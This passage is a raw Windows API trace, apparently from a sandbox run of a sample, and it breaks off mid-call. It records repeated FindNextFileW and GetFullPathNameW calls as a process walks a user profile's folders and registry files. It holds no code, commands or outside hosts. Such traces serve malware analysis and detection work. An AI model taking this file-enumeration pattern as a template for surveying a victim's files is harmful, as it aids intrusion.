lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb558a950, ftCreationTime.dwHighDateTime=0x1d5e626, ftLastAccessTime.dwLowDateTime=0x5c774e80, ftLastAccessTime.dwHighDateTime=0x1d5db5a, ftLastWriteTime.dwLowDateTime=0x5c774e80, ftLastWriteTime.dwHighDateTime=0x1d5db5a, nFileSizeHigh=0x0, nFileSizeLow=0x12d8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NMR0zs.mp3", cAlternateFileName="")) returned 1 [0080.415] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3830, ftCreationTime.dwHighDateTime=0x1d5dabd, ftLastAccessTime.dwLowDateTime=0x5a2d8680, ftLastAccessTime.dwHighDateTime=0x1d5e5d7, ftLastWriteTime.dwLowDateTime=0x5a2d8680, ftLastWriteTime.dwHighDateTime=0x1d5e5d7, nFileSizeHigh=0x0, nFileSizeLow=0x53e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBxmNq0i.wav", cAlternateFileName="")) returned 1 [0080.415] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3830, ftCreationTime.dwHighDateTime=0x1d5dabd, ftLastAccessTime.dwLowDateTime=0x5a2d8680, ftLastAccessTime.dwHighDateTime=0x1d5e5d7, ftLastWriteTime.dwLowDateTime=0x5a2d8680, ftLastWriteTime.dwHighDateTime=0x1d5e5d7, nFileSizeHigh=0x0, nFileSizeLow=0x53e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBxmNq0i.wav", cAlternateFileName="")) returned 0 [0080.415] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.415] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0080.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0080.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", lpFilePart=0x0) returned 0x2b [0080.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0080.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0080.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", lpFilePart=0x0) returned 0x26 [0080.422] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.425] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f3afd80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8f3afd80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8f389c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0080.426] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0080.427] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0080.427] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e56e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e56e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.427] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0080.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, 